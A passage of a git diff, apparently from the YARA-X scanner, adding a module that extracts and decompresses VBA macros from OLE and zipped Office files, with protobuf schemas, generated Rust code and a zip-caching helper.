has_module_count(&self) -> bool { + self.module_count.is_some() + } + + // Param is passed by value, moved + pub fn set_module_count(&mut self, v: i32) { + self.module_count = ::std::option::Option::Some(v); + } + + pub(in super) fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(4); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "name", + |m: &ProjectInfo| { &m.name }, + |m: &mut ProjectInfo| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "version", + |m: &ProjectInfo| { &m.version }, + |m: &mut ProjectInfo| { &mut m.version }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "references", + |m: &ProjectInfo| { &m.references }, + |m: &mut ProjectInfo| { &mut m.references }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "module_count", + |m: &ProjectInfo| { &m.module_count }, + |m: &mut ProjectInfo| { &mut m.module_count }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Vba.ProjectInfo", + fields, + oneofs, + ) + } + } + + impl ::protobuf::Message for ProjectInfo { + const NAME: &'static str = "ProjectInfo"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = ::std::option::Option::Some(is.read_string()?); + }, + 18 => { + self.version = ::std::option::Option::Some(is.read_string()?); + }, + 26 => { + self.references.push(is.read_string()?); + }, + 32 => { + self.module_count = ::std::option::Option::Some(is.read_int32()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.name.as_ref() { + my_size += ::protobuf::rt::string_size(1, &v); + } + if let Some(v) = self.version.as_ref() { + my_size += ::protobuf::rt::string_size(2, &v); + } + for value in &self.references { + my_size += ::protobuf::rt::string_size(3, &value); + }; + if let Some(v) = self.module_count { + my_size += ::protobuf::rt::int32_size(4, v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.name.as_ref() { + os.write_string(1, v)?; + } + if let Some(v) = self.version.as_ref() { + os.write_string(2, v)?; + } + for v in &self.references { + os.write_string(3, &v)?; + }; + if let Some(v) = self.module_count { + os.write_int32(4, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> ProjectInfo { + ProjectInfo::new() + } + + fn clear(&mut self) { + self.name = ::std::option::Option::None; + self.version = ::std::option::Option::None; + self.references.clear(); + self.module_count = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static ProjectInfo { + static instance: ProjectInfo = ProjectInfo { + name: ::std::option::Option::None, + version: ::std::option::Option::None, + references: ::std::vec::Vec::new(), + module_count: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } + } + + impl ::protobuf::MessageFull for ProjectInfo { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| super::file_descriptor().message_by_package_relative_name("Vba.ProjectInfo").unwrap()).clone() + } + } + + impl ::std::fmt::Display for ProjectInfo { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } + } + + impl ::protobuf::reflect::ProtobufValue for ProjectInfo { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; + } +} + +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:vba.ModuleType) +pub enum ModuleType { + // @@protoc_insertion_point(enum_value:vba.ModuleType.MODULE_TYPE_STANDARD) + MODULE_TYPE_STANDARD = 1, + // @@protoc_insertion_point(enum_value:vba.ModuleType.MODULE_TYPE_CLASS) + MODULE_TYPE_CLASS = 2, + // @@protoc_insertion_point(enum_value:vba.ModuleType.MODULE_TYPE_UNKNOWN) + MODULE_TYPE_UNKNOWN = 3, +} + +impl ::protobuf::Enum for ModuleType { + const NAME: &'static str = "ModuleType"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 1 => ::std::option::Option::Some(ModuleType::MODULE_TYPE_STANDARD), + 2 => ::std::option::Option::Some(ModuleType::MODULE_TYPE_CLASS), + 3 => ::std::option::Option::Some(ModuleType::MODULE_TYPE_UNKNOWN), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "MODULE_TYPE_STANDARD" => ::std::option::Option::Some(ModuleType::MODULE_TYPE_STANDARD), + "MODULE_TYPE_CLASS" => ::std::option::Option::Some(ModuleType::MODULE_TYPE_CLASS), + "MODULE_TYPE_UNKNOWN" => ::std::option::Option::Some(ModuleType::MODULE_TYPE_UNKNOWN), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [ModuleType] = &[ + ModuleType::MODULE_TYPE_STANDARD, + ModuleType::MODULE_TYPE_CLASS, + ModuleType::MODULE_TYPE_UNKNOWN, + ]; +} + +impl ::protobuf::EnumFull for ModuleType { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("ModuleType").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = match self { + ModuleType::MODULE_TYPE_STANDARD => 0, + ModuleType::MODULE_TYPE_CLASS => 1, + ModuleType::MODULE_TYPE_UNKNOWN => 2, + }; + Self::enum_descriptor().value_by_index(index) + } +} + +// Note, `Default` is implemented although default value is not 0 +impl ::std::default::Default for ModuleType { + fn default() -> Self { + ModuleType::MODULE_TYPE_STANDARD + } +} + +impl ModuleType { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("ModuleType") + } +} + +static file_descriptor_proto_data: &'static [u8] = b"\ + \n\tvba.proto\x12\x03vba\x1a\nyara.proto\"\xdf\x02\n\x03Vba\x12\x1d\n\nh\ + as_macros\x18\x01\x20\x01(\x08R\thasMacros\x12)\n\x07modules\x18\x02\x20\ + \x03(\x0b2\x0f.vba.Vba.ModuleR\x07modules\x127\n\x0cproject_info\x18\x05\ + \x20\x01(\x0b2\x14.vba.Vba.ProjectInfoR\x0bprojectInfo\x1aU\n\x06Module\ + \x12\x12\n\x04name\x18\x01\x20\x01(\tR\x04name\x12#\n\x04type\x18\x02\ + \x20\x01(\x0e2\x0f.vba.ModuleTypeR\x04type\x12\x12\n\x04code\x18\x03\x20\ + \x01(\tR\x04code\x1a~\n\x0bProjectInfo\x12\x12\n\x04name\x18\x01\x20\x01\ + (\tR\x04name\x12\x18\n\x07version\x18\x02\x20\x01(\tR\x07version\x12\x1e\ + \n\nreferences\x18\x03\x20\x03(\tR\nreferences\x12!\n\x0cmodule_count\ + \x18\x04\x20\x01(\x05R\x0bmoduleCount*^\n\nModuleType\x12\x18\n\x14MODUL\ + E_TYPE_STANDARD\x10\x01\x12\x15\n\x11MODULE_TYPE_CLASS\x10\x02\x12\x17\n\ + \x13MODULE_TYPE_UNKNOWN\x10\x03\x1a\x06\x92\x93\x19\x02\x10\x01B\x1e\xfa\ + \x92\x19\x1a\n\x03vba\x12\x07vba.Vba\x1a\nvba-moduleb\x06proto2\ +"; + +/// `FileDescriptorProto` object which was a source for this generated file +fn file_descriptor_proto() -> &'static ::protobuf::descriptor::FileDescriptorProto { + static file_descriptor_proto_lazy: ::protobuf::rt::Lazy<::protobuf::descriptor::FileDescriptorProto> = ::protobuf::rt::Lazy::new(); + file_descriptor_proto_lazy.get(|| { + ::protobuf::Message::parse_from_bytes(file_descriptor_proto_data).unwrap() + }) +} + +/// `FileDescriptor` object which allows dynamic access to files +pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { + static generated_file_descriptor_lazy: ::protobuf::rt::Lazy<::protobuf::reflect::GeneratedFileDescriptor> = ::protobuf::rt::Lazy::new(); + static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); + file_descriptor.get(|| { + let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { + let mut deps = ::std::vec::Vec::with_capacity(1); + deps.push(super::yara::file_descriptor().clone()); + let mut messages = ::std::vec::Vec::with_capacity(3); + messages.push(Vba::generated_message_descriptor_data()); + messages.push(vba::Module::generated_message_descriptor_data()); + messages.push(vba::ProjectInfo::generated_message_descriptor_data()); + let mut enums = ::std::vec::Vec::with_capacity(1); + enums.push(ModuleType::generated_enum_descriptor_data()); + ::protobuf::reflect::GeneratedFileDescriptor::new_generated( + file_descriptor_proto(), + deps, + messages, + enums, + ) + }); + ::protobuf::reflect::FileDescriptor::new_generated_2(generated_file_descriptor) + }) +} diff --git a/lib/src/modules/protos/generated/zip.rs b/lib/src/modules/protos/generated/zip.rs index 8e9d495b..ec22e0e0 100644 --- a/lib/src/modules/protos/generated/zip.rs +++ b/lib/src/modules/protos/generated/zip.rs @@ -300,8 +300,6 @@ impl ::protobuf::reflect::ProtobufValue for Entry { #[derive(PartialEq,Clone,Default,Debug)] pub struct Zip { // message fields - // @@protoc_insertion_point(field:zip.Zip.extracted_file_count) - pub extracted_file_count: ::std::option::Option, // @@protoc_insertion_point(field:zip.Zip.is_zip) pub is_zip: ::std::option::Option, // @@protoc_insertion_point(field:zip.Zip.entries) @@ -322,26 +320,7 @@ impl Zip { ::std::default::Default::default() } - // optional int64 extracted_file_count = 1; - - pub fn extracted_file_count(&self) -> i64 { - self.extracted_file_count.unwrap_or(0) - } - - pub fn clear_extracted_file_count(&mut self) { - self.extracted_file_count = ::std::option::Option::None; - } - - pub fn has_extracted_file_count(&self) -> bool { - self.extracted_file_count.is_some() - } - - // Param is passed by value, moved - pub fn set_extracted_file_count(&mut self, v: i64) { - self.extracted_file_count = ::std::option::Option::Some(v); - } - - // optional bool is_zip = 2; + // optional bool is_zip = 1; pub fn is_zip(&self) -> bool { self.is_zip.unwrap_or(false) @@ -361,13 +340,8 @@ impl Zip { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(3); + let mut fields = ::std::vec::Vec::with_capacity(2); let mut oneofs = ::std::vec::Vec::with_capacity(0); - fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( - "extracted_file_count", - |m: &Zip| { &m.extracted_file_count }, - |m: &mut Zip| { &mut m.extracted_file_count }, - )); fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( "is_zip", |m: &Zip| { &m.is_zip }, @@ -397,12 +371,9 @@ impl ::protobuf::Message for Zip { while let Some(tag) = is.read_raw_tag_or_eof()? { match tag { 8 => { - self.extracted_file_count = ::std::option::Option::Some(is.read_int64()?); - }, - 16 => { self.is_zip = ::std::option::Option::Some(is.read_bool()?); }, - 26 => { + 18 => { self.entries.push(is.read_message()?); }, tag => { @@ -417,9 +388,6 @@ impl ::protobuf::Message for Zip { #[allow(unused_variables)] fn compute_size(&self) -> u64 { let mut my_size = 0; - if let Some(v) = self.extracted_file_count { - my_size += ::protobuf::rt::int64_size(1, v); - } if let Some(v) = self.is_zip { my_size += 1 + 1; } @@ -433,14 +401,11 @@ impl ::protobuf::Message for Zip { } fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { - if let Some(v) = self.extracted_file_count { - os.write_int64(1, v)?; - } if let Some(v) = self.is_zip { - os.write_bool(2, v)?; + os.write_bool(1, v)?; } for v in &self.entries { - ::protobuf::rt::write_message_field_with_cached_size(3, v, os)?; + ::protobuf::rt::write_message_field_with_cached_size(2, v, os)?; }; os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) @@ -459,7 +424,6 @@ impl ::protobuf::Message for Zip { } fn clear(&mut self) { - self.extracted_file_count = ::std::option::Option::None; self.is_zip = ::std::option::Option::None; self.entries.clear(); self.special_fields.clear(); @@ -467,7 +431,6 @@ impl ::protobuf::Message for Zip { fn default_instance() -> &'static Zip { static instance: Zip = Zip { - extracted_file_count: ::std::option::Option::None, is_zip: ::std::option::Option::None, entries: ::std::vec::Vec::new(), special_fields: ::protobuf::SpecialFields::new(), @@ -641,16 +604,15 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \tfile_path\x18\x01\x20\x01(\tR\x08filePath\x122\n\x0bcompression\x18\ \x02\x20\x01(\x0e2\x10.zip.CompressionR\x0bcompression\x12+\n\x11uncompr\ essed_size\x18\x03\x20\x01(\x04R\x10uncompressedSize\x12'\n\x0fcompresse\ - d_size\x18\x04\x20\x01(\x04R\x0ecompressedSize\"t\n\x03Zip\x120\n\x14ext\ - racted_file_count\x18\x01\x20\x01(\x03R\x12extractedFileCount\x12\x15\n\ - \x06is_zip\x18\x02\x20\x01(\x08R\x05isZip\x12$\n\x07entries\x18\x03\x20\ - \x03(\x0b2\n.zip.EntryR\x07entries*\xdf\x01\n\x0bCompression\x12\n\n\x06\ - STORED\x10\0\x12\n\n\x06SHRUNK\x10\x01\x12\r\n\tREDUCED_1\x10\x02\x12\r\ - \n\tREDUCED_2\x10\x03\x12\r\n\tREDUCED_3\x10\x04\x12\r\n\tREDUCED_4\x10\ - \x05\x12\x0c\n\x08IMPLODED\x10\x06\x12\x0c\n\x08DEFLATED\x10\x08\x12\r\n\ - \tDEFLATE64\x10\t\x12\x14\n\x10PKWARE_IMPLODING\x10\n\x12\t\n\x05BZIP2\ - \x10\x0c\x12\x08\n\x04LZMA\x10\x0e\x12\x08\n\x04ZSTD\x10]\x12\x06\n\x02X\ - Z\x10_\x12\x0c\n\x07UNKNOWN\x10\xff\x01\x1a\x06\x92\x93\x19\x02\x10\x01B\ + d_size\x18\x04\x20\x01(\x04R\x0ecompressedSize\"B\n\x03Zip\x12\x15\n\x06\ + is_zip\x18\x01\x20\x01(\x08R\x05isZip\x12$\n\x07entries\x18\x02\x20\x03(\ + \x0b2\n.zip.EntryR\x07entries*\xdf\x01\n\x0bCompression\x12\n\n\x06STORE\ + D\x10\0\x12\n\n\x06SHRUNK\x10\x01\x12\r\n\tREDUCED_1\x10\x02\x12\r\n\tRE\ + DUCED_2\x10\x03\x12\r\n\tREDUCED_3\x10\x04\x12\r\n\tREDUCED_4\x10\x05\ + \x12\x0c\n\x08IMPLODED\x10\x06\x12\x0c\n\x08DEFLATED\x10\x08\x12\r\n\tDE\ + FLATE64\x10\t\x12\x14\n\x10PKWARE_IMPLODING\x10\n\x12\t\n\x05BZIP2\x10\ + \x0c\x12\x08\n\x04LZMA\x10\x0e\x12\x08\n\x04ZSTD\x10]\x12\x06\n\x02XZ\ + \x10_\x12\x0c\n\x07UNKNOWN\x10\xff\x01\x1a\x06\x92\x93\x19\x02\x10\x01B\ \x1e\xfa\x92\x19\x1a\n\x03zip\x12\x07zip.Zip\x1a\nzip-moduleb\x06proto2\ "; diff --git a/lib/src/modules/protos/mods.proto b/lib/src/modules/protos/mods.proto index 7bb5b5fc..52f6e77e 100644 --- a/lib/src/modules/protos/mods.proto +++ b/lib/src/modules/protos/mods.proto @@ -8,6 +8,8 @@ import "elf.proto"; import "pe.proto"; import "lnk.proto"; import "macho.proto"; +import "olecf.proto"; +import "vba.proto"; package mods; @@ -18,6 +20,8 @@ message Modules { optional dotnet.Dotnet dotnet = 3; optional macho.Macho macho = 4; optional lnk.Lnk lnk = 5; - optional crx.Crx crx = 6; - optional dex.Dex dex = 7; + optional olecf.Olecf olecf = 6; + optional vba.Vba vba = 7; + optional crx.Crx crx = 8; + optional dex.Dex dex = 9; } diff --git a/lib/src/modules/protos/olecf.proto b/lib/src/modules/protos/olecf.proto new file mode 100644 index 00000000..812c777d --- /dev/null +++ b/lib/src/modules/protos/olecf.proto @@ -0,0 +1,32 @@ +syntax = "proto2"; +import "yara.proto"; + +package olecf; + +option (yara.module_options) = { + name : "olecf" + root_message: "olecf.Olecf" + cargo_feature: "olecf-module" +}; + +message Olecf { + // True if file is an OLE CF file. + required bool is_olecf = 1; + // Streams contained in the OLE CF file. + repeated Stream streams = 2; +} + +// Type of streams. +enum StreamType { + UNKNOWN = 0; + STORAGE = 1; + STREAM = 2; + ROOT = 5; +} + +// Describes a stream in the OLE CF file. +message Stream { + required string name = 1; + required StreamType type = 2; + required uint64 size = 3; +} \ No newline at end of file diff --git a/lib/src/modules/protos/vba.proto b/lib/src/modules/protos/vba.proto new file mode 100644 index 00000000..a0c5944f --- /dev/null +++ b/lib/src/modules/protos/vba.proto @@ -0,0 +1,40 @@ +syntax = "proto2"; +import "yara.proto"; + +package vba; + +option (yara.module_options) = { + name: "vba" + root_message: "vba.Vba" + cargo_feature: "vba-module" +}; + +enum ModuleType { + option (yara.enum_options).inline = true; + MODULE_TYPE_STANDARD = 1; + MODULE_TYPE_CLASS = 2; + MODULE_TYPE_UNKNOWN = 3; +} + +message Vba { + // True if VBA macros are present + optional bool has_macros = 1; + message Module { + optional string name = 1; + optional ModuleType type = 2; + optional string code = 3; + } + + // VBA macro modules found + repeated Module modules = 2; + + // Project metadata + message ProjectInfo { + optional string name = 1; + optional string version = 2; + repeated string references = 3; + optional int32 module_count = 4; + } + + optional ProjectInfo project_info = 5; +} \ No newline at end of file diff --git a/lib/src/modules/protos/zip.proto b/lib/src/modules/protos/zip.proto index 0a29e899..aba1ae76 100644 --- a/lib/src/modules/protos/zip.proto +++ b/lib/src/modules/protos/zip.proto @@ -36,8 +36,6 @@ message Entry { } message Zip { - // Number of files successfully extracted from the archive. - optional int64 extracted_file_count = 1; - optional bool is_zip = 2; - repeated Entry entries = 3; + optional bool is_zip = 1; + repeated Entry entries = 2; } diff --git a/lib/src/modules/tests.rs b/lib/src/modules/tests.rs index 7297d43e..87928180 100644 --- a/lib/src/modules/tests.rs +++ b/lib/src/modules/tests.rs @@ -164,12 +164,13 @@ fn test_modules() { panic!("module `{module_name}` should produce some output") }); - let output_file = mint.new_goldenfile(out_path).unwrap(); + let output_file = + mint.new_goldenfile(out_path).expect("can not create goldenfile"); // Render the module's output as YAML. let mut yaml = yara_x_proto::yaml::Serializer::new(output_file); - yaml.serialize(output).unwrap(); + assert!(yaml.serialize(output).is_ok()); }); } diff --git a/lib/src/modules/utils/mod.rs b/lib/src/modules/utils/mod.rs index e3e9d96b..1170257f 100644 --- a/lib/src/modules/utils/mod.rs +++ b/lib/src/modules/utils/mod.rs @@ -1,3 +1,10 @@ +#[cfg(feature = "crypto")] pub mod asn1; + +#[cfg(feature = "crypto")] pub mod crypto; + +#[cfg(feature = "crypto")] pub mod leb128; +#[cfg(any(feature = "zip-module", feature = "vba-module"))] +pub mod zip; diff --git a/lib/src/modules/utils/zip.rs b/lib/src/modules/utils/zip.rs new file mode 100644 index 00000000..b7e428e2 --- /dev/null +++ b/lib/src/modules/utils/zip.rs @@ -0,0 +1,113 @@ +use std::borrow::Cow; +use std::io::Read; + +use protobuf::Enum; +use rustc_hash::FxHashMap; +use tinyzip::Archive; + +use crate::modules::protos::zip::{Compression, Entry, Zip}; + +pub(crate) enum ZipCache<'a> { + NotZip, + Cached(CachedZip<'a>), +} + +pub(crate) struct CachedZip<'a> { + pub data: &'a [u8], + pub archive: Archive<&'a [u8]>, + pub cached_contents: FxHashMap>, +} + +impl<'a> ZipCache<'a> { + pub(crate) fn new(data: &'a [u8]) -> Self { + let archive = match Archive::open(data) { + Ok(arch) => arch, + Err(_) => return ZipCache::NotZip, + }; + + ZipCache::Cached(CachedZip { + data, + archive, + cached_contents: FxHashMap::default(), + }) + } +} + +impl<'a> CachedZip<'a> { + pub(crate) fn get_file_content<'b>( + &'b mut self, + path: &str, + ) -> Option<&'b [u8]> { + if !self.cached_contents.contains_key(path) { + let entry = self.archive.find_file(path).ok()?; + let uncompressed_size = entry.uncompressed_size(); + let data_range = entry.data_range().ok()?.data_range; + let start = data_range.start as usize; + let end = data_range.end as usize; + let raw_bytes = self.data.get(start..end)?; + + let content = match entry.compression() { + Ok(tinyzip::Compression::Stored) => Cow::Borrowed(raw_bytes), + Ok(tinyzip::Compression::Deflated) => { + let mut decoder = + flate2::read::DeflateDecoder::new(raw_bytes); + let mut buf = + Vec::with_capacity(uncompressed_size as usize); + decoder.read_to_end(&mut buf).ok()?; + Cow::Owned(buf) + } + _ => return None, + }; + + self.cached_contents.insert(path.to_string(), content); + } + + Some(self.cached_contents.get(path).unwrap().as_ref()) + } +} + +impl<'a> From<&CachedZip<'a>> for Zip { + fn from(cached: &CachedZip<'a>) -> Self { + let mut zip = Zip::new(); + zip.set_is_zip(true); + + let mut entries = Vec::new(); + let max_entries = 100000; // Guardrail: prevent DoS with huge entry counts + + let mut path_buf = vec![0u8; 65536]; + + for entry in cached.archive.entries().filter_map(|entry| entry.ok()) { + if entries.len() >= max_entries { + break; + } + + let path_bytes = match entry.read_path(&mut path_buf) { + Ok(b) => b, + Err(_) => continue, + }; + + let file_path = String::from_utf8_lossy(path_bytes).to_string(); + + let mut proto_entry = Entry::new(); + proto_entry.set_file_path(file_path); + proto_entry.set_uncompressed_size(entry.uncompressed_size()); + proto_entry.set_compressed_size(entry.compressed_size()); + + let compression = match entry.compression() { + Ok(tinyzip::Compression::Stored) => Compression::STORED, + Ok(tinyzip::Compression::Deflated) => Compression::DEFLATED, + Err(tinyzip::Error::UnsupportedCompression(raw)) => { + Compression::from_i32(raw as i32) + .unwrap_or(Compression::UNKNOWN) + } + Err(_) => Compression::UNKNOWN, + }; + + proto_entry.compression = Some(compression.into()); + entries.push(proto_entry); + } + + zip.entries = entries; + zip + } +} diff --git a/lib/src/modules/vba/mod.rs b/lib/src/modules/vba/mod.rs new file mode 100644 index 00000000..d4993fdf --- /dev/null +++ b/lib/src/modules/vba/mod.rs @@ -0,0 +1,134 @@ +/*! YARA module that extracts VBA (Visual Basic for Applications) macros +from Office documents. + +Read more about the VBA file format specification here: +https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/575462ba-bf67-4190-9fac-c275523c75fc +*/ + +use crate::modules::vba::parser::decompress_stream; +use std::collections::HashMap; + +use crate::mods::prelude::*; +use crate::modules::olecf::parser::OLECFParser; +use crate::modules::protos::vba::*; +use crate::modules::utils::zip::ZipCache; + +mod parser; + +#[derive(Debug)] +struct VbaExtractor<'a> { + data: &'a [u8], +} + +impl<'a> VbaExtractor<'a> { + fn new(data: &'a [u8]) -> Self { + Self { data } + } + + fn read_stream_data( + ole_parser: &OLECFParser, + name: &str, + ) -> Result, &'static str> { + let size = ole_parser.get_stream_size(name)? as usize; + if size == 0 { + return Err("Stream is empty"); + } + ole_parser.get_stream_data(name) + } + + fn extract_from_ole_bytes(ole_data: &[u8]) -> Result { + let ole_parser = OLECFParser::new(ole_data)?; + let stream_names = ole_parser.get_stream_names()?; + + let mut vba_dir = None; + let mut modules = HashMap::new(); + + // First process the dir stream + if let Some(dir_name) = + stream_names.iter().find(|n| n.to_lowercase().trim() == "dir") + && let Ok(data) = Self::read_stream_data(&ole_parser, dir_name) + { + vba_dir = Some(data); + } + + // Then process other streams + for name in &stream_names { + let lowercase_name = name.to_lowercase(); + + if lowercase_name != "dir" + && let Ok(data) = Self::read_stream_data(&ole_parser, name) + && !data.is_empty() + { + modules.insert(parser::normalize_name(&lowercase_name), data); + } + } + + // Always try the dir stream if we found it + if let Some(dir_data) = vba_dir { + let dir_stream = decompress_stream(&dir_data)?; + parser::parse(&dir_stream, &modules) + .map_err(|_| "Failed to parse VBA stream") + } else { + Err("No VBA directory stream found") + } + } + + fn extract_from_ole(&self) -> Result { + Self::extract_from_ole_bytes(self.data) + } +} + +fn extract_from_zip<'a>( + ctx: &mut ModuleContext<'a>, + data: &'a [u8], +) -> Result { + let zip_cache = ctx.zip_cache.get_or_insert_with(|| ZipCache::new(data)); + + let ZipCache::Cached(cached_zip) = zip_cache else { + return Err("no VBA project found in ZIP"); + }; + + let vba_project_names = [ + "word/vbaProject.bin", + "xl/vbaProject.bin", + "ppt/vbaProject.bin", + "vbaProject.bin", + ]; + + for name in &vba_project_names { + if let Some(contents) = cached_zip.get_file_content(name) { + return VbaExtractor::extract_from_ole_bytes(contents); + } + } + + Err("no VBA project found in ZIP") +} + +fn main<'a>( + ctx: &mut ModuleContext<'a>, + data: &'a [u8], +) -> Result { + let is_zip = data.starts_with(&[0x50, 0x4B, 0x03, 0x04]); + + let project = if is_zip { + extract_from_zip(ctx, data) + } else { + VbaExtractor::new(data).extract_from_ole() + }; + + let vba = match project { + Ok(mut vba) => { + vba.has_macros = Some(true); + vba + } + Err(_) => { + let mut vba = Vba::new(); + vba.has_macros = Some(false); + vba + } + }; + + Ok(vba) +} + +register_module!("vba", Vba, main); diff --git a/lib/src/modules/vba/parser.rs b/lib/src/modules/vba/parser.rs new file mode 100644 index 00000000..8062e03b --- /dev/null +++ b/lib/src/modules/vba/parser.rs @@ -0,0 +1,684 @@ +use std::collections::HashMap; + +use nom::combinator::opt; +use nom::multi::length_data; +use nom::{ + Parser, + bytes::complete::take, + combinator::verify, + number::complete::{le_u16, le_u32}, +}; + +use crate::modules::protos::vba::vba::ProjectInfo; +use crate::modules::protos::vba::{ModuleType, Vba}; + +type Error<'a> = nom::error::Error<&'a [u8]>; + +fn copytoken_help(difference: usize) -> (u16, u16, u32, u16) { + let bit_count = (difference as f64).log2().ceil() as u32; + let bit_count = bit_count.max(4); + let length_mask = 0xFFFF >> bit_count; + let offset_mask = !length_mask; + let maximum_length = (0xFFFF >> bit_count) + 3; + + (length_mask, offset_mask, bit_count, maximum_length) +} + +/// Decompresses a VBA compressed stream according to the algorithm described +/// in MS-OVBA Section 2.4.1.3. +/// +/// The stream begins with a mandatory signature byte (0x01), followed by a +/// sequence of CompressedChunk structures. Each chunk contains a 2-byte header +/// indicating its size, whether it is compressed, and its valid chunk +/// signature (which must be 3 or 4). +pub fn decompress_stream(compressed: &[u8]) -> Result, &'static str> { + if compressed.is_empty() { + return Err("Empty input buffer"); + } + + // Validate MS-OVBA signature byte (Section 2.4.1.3.1) + if compressed[0] != 0x01 { + return Err("Invalid signature byte"); + } + + let mut decompressed = Vec::with_capacity(compressed.len() * 2); + let mut current = 1; // Skip signature byte + + while current < compressed.len() { + // Ensure we have at least 2 bytes remaining to parse the chunk header. + if current + 2 > compressed.len() { + if !decompressed.is_empty() { + break; + } + return Err("Incomplete chunk header"); + } + + let chunk_header = u16::from_le_bytes( + compressed[current..current + 2] + .try_into() + .map_err(|_| "Failed to parse chunk header")?, + ); + + // Robust signature check: bits 12-14 must be 0b011 (3) or 0b100 (4). + // Trailing zero-filled sector padding has signature 0, which is cleanly + // filtered out. + let signature = (chunk_header & 0x7000) >> 12; + if signature != 3 && signature != 4 { + break; + } + + let chunk_size = (chunk_header & 0x0FFF) as usize + 3; + let chunk_is_compressed = (chunk_header & 0x8000) != 0; + + // Section 2.4.1.3.11: If CompressedChunkFlag is 1, CompressedChunkSize + // must be <= 4095. + if chunk_is_compressed && chunk_size > 4095 { + if !decompressed.is_empty() { + break; + } + return Err( + "CompressedChunkSize > 4095 but CompressedChunkFlag == 1", + ); + } + + let chunk_end = std::cmp::min(compressed.len(), current + chunk_size); + + // Skip header. + current += 2; + + // Handle uncompressed chunks (Section 2.4.1.3.11.2) + if !chunk_is_compressed { + let decompressed_size = if (chunk_header & 0x0FFF) == 4095 { + 4096 + } else { + (chunk_header & 0x0FFF) as usize + }; + + // Relaxed uncompressed chunk boundary handling: + // If the declared decompressed size extends past the physical + // stream boundary (due to standard compiler truncation or + // obfuscation), read only the available stream bytes. + let bytes_to_read = + std::cmp::min(decompressed_size, compressed.len() - current); + if bytes_to_read == 0 { + break; + } + decompressed.extend_from_slice( + &compressed[current..current + bytes_to_read], + ); + current += bytes_to_read; + continue; + } + + // Handle compressed chunks (Section 2.4.1.3.11.1) + let decompressed_chunk_start = decompressed.len(); + + while current < chunk_end { + // A single chunk decompresses to at most 4096 bytes + if decompressed.len() - decompressed_chunk_start >= 4096 { + break; + } + let flag_byte = compressed[current]; + current += 1; + + // Iterate over the 8 bits in the flag byte (from LSB to MSB) + for bit_index in 0..8 { + if decompressed.len() - decompressed_chunk_start >= 4096 { + break; + } + if current >= chunk_end { + break; + } + + if (flag_byte & (1 << bit_index)) == 0 { + // Bit is 0: Literal byte (Section 2.4.1.3.11.1.1) + decompressed.push(compressed[current]); + current += 1; + } else { + // Bit is 1: Copy token (Section 2.4.1.3.11.1.2) + if current + 2 > compressed.len() { + return Err("Incomplete copy token"); + } + + let copy_token = u16::from_le_bytes( + compressed[current..current + 2] + .try_into() + .map_err(|_| "Failed to parse copy token")?, + ); + + // Helper maps the bit count dynamically based on + // decompressed offset + let (length_mask, offset_mask, bit_count, _) = + copytoken_help( + decompressed.len() - decompressed_chunk_start, 